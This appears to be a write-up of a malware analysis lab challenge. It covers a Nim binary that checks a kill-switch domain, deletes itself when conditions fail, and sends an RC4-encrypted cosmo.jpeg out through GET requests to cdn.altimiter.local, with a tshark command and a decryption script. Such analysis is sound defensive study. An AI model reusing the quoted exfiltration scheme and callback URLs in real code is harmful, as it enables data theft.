Malware - Sikomode
Analyst,
This specimen came from a poor decision and a link that should not have been clicked on. No surprises there. We need to figure out the extent of what this thing can do. It looks a little advanced.
Perform a full analysis and send us the report when done. We need to go in depth on this one to determine what it is doing, so break out your decompiler and debugger and get to work!
IR Team
Objective
Perform static and dynamic analysis on this malware sample and extract facts about the malware’s behavior. Use all tools and skills in your arsenal! Be sure to include a limited amount of debugging and decompiling and employ advanced methodology to the extent that you are comfortable.
Tools
Basic Analysis
- File hashes
- VirusTotal
- FLOSS
- PEStudio
- PEView
- Wireshark
- Inetsim
- Netcat
- TCPView
- Procmon
Advanced Analysis
- Cutter
- Debugger
init phase
First, let’s start with basic recon phase
Hash
sha256: 3aca2a08cf296f1845d6171958ef0ffd1c8bdfc3e48bdd34a605cb1f7468213e md5: b9497ffb7e9c6f49823b95851ec874e3
FLOSS
After running a FLOSS on the executable, we can see some interesting strings such as:
Desktop\cosmo.jpeghttp://cdn.altimiter.local/feed?post=C:\Users\Public\passwrd.txt
To be continued…
VirusTotal
The binary hash is harshly flagged on VirusTotal
Challenge Questions:
What language is the binary written in?
In order to know what langage the binary is written, I load it in Cutter
The program is written in nim
What is the architecture of this binary?
The answer to this question can be seen in the same window as the program’s language. It can be viewed in PE-studio too.
The architecture is 64 bits
Under what conditions can you get the binary to delete itself?
I executed the binary without inetsim running to see if there was a DNS query that can’t end up. In the Wireshark capture, we can see a strange DNS query during the detonation:
update.ec12-4-109-278-3-ubuntu20-04.local.
The binary deletes itself when the query receive no answers.
So I launched inetsim to see if the binary still deletes itself even if he receive a DNS reply.
Even when he receive a DNS reply, he keeps deleting itself.
We can see the full exchange, starting from DNS to TCP into HTTP. The program performs a HTTP GET on / of the domain previously requested (update.ec12-4-109-278-3-ubuntu20-04.local)
After displaying the graph view on Cutter, we can seek for sym.NimMainModule which looks like the casual main function. We can see that a function named checkKillSwtichURL is called.
test al, al (first block), it ends up to the houdini method.
Another criteria of self deletion is if inetsim is stopped during the execution, the binary instantly delete itself.
- If the binary can’t reach the domain update.ec12-4-109-278-3-ubuntu20-04.local
- If inetsim is stopped during the execution
Does the binary persist? If so, how?
After investigation of common persistence mechanisms such as services or registry keys via procmon, I didn’t find any way the program can persist.
The binary don’t seems to persist on the system
What is the first callback domain?
As we have seen before, the first callback domain is update.ec12-4-109-278-3-ubuntu20-04.local:
The first callback domain is update.ec12-4-109-278-3-ubuntu20-04.local
Under what conditions can you get the binary to exfiltrate data?
Now it’s becoming a little bit tricky. Let’s dive deeper into the executable behaviour.
In order to exfiltrate the data, the connectivity with the callback domain must be established.
After a successful check in with this domain, the malicious binary write the passwrd.txt file under C:\Users\Public\. After creating the file, it searches for Cosmo.jpeg on the desktop. This can be seen with procmon:
Then, if every conditions are met, the exfiltration occurs by base64 encoding the content of the file and encrypt it with the password previously written:
What is the exfiltration domain?
With inetsim and Wireshark opened, I detonated the malware and looked at the network traffic.
cdn.altimiter.local which resolves to the inetsim IP address and send a suspicious GET HTTP request (GET /feed?post=A3BA2EE38A027FFB6F87.....). Moreover, the user-agent of the request is Nim httpclient/1.6.2.
cdn.altimiter.local
How does exfiltration take place?
In the last question, we have seen the GET /feed?post=A3BA2EE38A027FFB6F87[...] request that looks very suspicious. Let’s filter this on Wireshark:
The post parameter is always the same length but we can recognize some pattern through all of them even if they are all different.
We can assume that the exfiltration is taking place by those GET requests (poor Cosmo 🤧). Each string is 124 character long.
Here is an example of one of the request:
post=B69C1CF58536758068B81553A8FB34291DEBB01907FC28919D7FABF240128ABE45FDA886199DD6BC30090A6472D426C49A9B8BD2855FCE8C1B5876C9BBA9
In procmon we can see the following steps:
- Crypto stuff
- Creation of
passwrd.txt - Looking for
cosmo.jpegand read its content - Read the
passwrd.txtfile DNS resolution through the hosts fileandGET /feed?post=[cosmo.jpeg part]for the exfiltration.
Right before the moment the malware accessed to cosmo.jpeg, some cryptographic library were queried:
passwrd.txt file that follows. The content of the passwrd.txt isSikoMode. It may be the encryption password.
What URI is used to exfiltrate data?
Inside Wireshark, we can see the full URI:
Right after the file cosmo.jpeg is accessed by the malware, we can see the passwrd.txt file. It’s
http://cdn[.]altimiter.local/feed?post=
What type of data is exfiltrated (the file is cosmo.jpeg, but how exactly is the file’s data transmitted?)
As we have already seen, the malicious program read the content of cosmo.jpeg and split it in multiple chunks in order to send them inside the post parameter. The exfiltrated content is encrypted using the password SikoMode which is the password inside the passwrd.txt file.
What kind of encryption algorithm is in use?
In Cutter, inside the sym.NimMainModule, we can see a reference to RC4 encryption:
RC4
What key is used to encrypt the data?
SikoModeis the key that we found in thepasswrd.txtfile.
What is the significance of houdini?
houdini is a method used by the binary to delete itself. It is invoked multiple times during the execution flow, especially if the execution conditions (cosmo.jpeg, internet connexion…) are not met.
Bonus: what if I can get Cosmo back ?
To validate this, we can try to decrypt the communication towards the C2. We must wait the end of the exfiltration. This is very very long. I exported all the sniffed packets inside another pcap file (cosmooooooo.pcapng).
Then I ran tshark to extract only the post data and remove the newlines.
tshark -r cosmooooooo.pcapng -Y 'http.request.uri contains "feed?post="' -T fields -e http.request.uri | sed -n 's/.*post=\(.*\)/\1/p' | tr -d '\n' > cosmo.txt
I found this implementation of RC4 in nim: https://github.com/OHermesJunior/nimRC4.git
Here’s a little script in order to decrypt the first C2 communication. It should be the JPEG header once decrypted!
import RC4
import std/base64
var decryptedString: string = fromRC4("SikoMode", "A8E437E8F0367592569A2870BBDD382A1DFBB01A15FC23999D7788C33502AD9256E481B402BDC6BC25167B6478F204C49A9BADD68C4AC2A617437ECCBBA9") #the first GET HTTP
var decodedString: string = decode(decryptedString)
echo "Decoded: ", decodedString
writeFile("cosmo.jpeg", decodedString)
Once compiled, it outputs the JPEG header!
nim c -r --verbosity:0 cosmo.nim
Decoded: JFIFHExifMM*
And the file check:
file cosmo.jpeg
cosmo.jpeg: JPEG image data, JFIF standard 1.01, aspect ratio, density 72x72, segment length 16, Exif Standard: [TIFF image data, big-endian, direntries=13, manufacturer=MM]
I tried for many hours to get the full jpeg back but it was so painful to deal with encoding and break line, even if I had the full C2 communication, I was not able to get the full file back.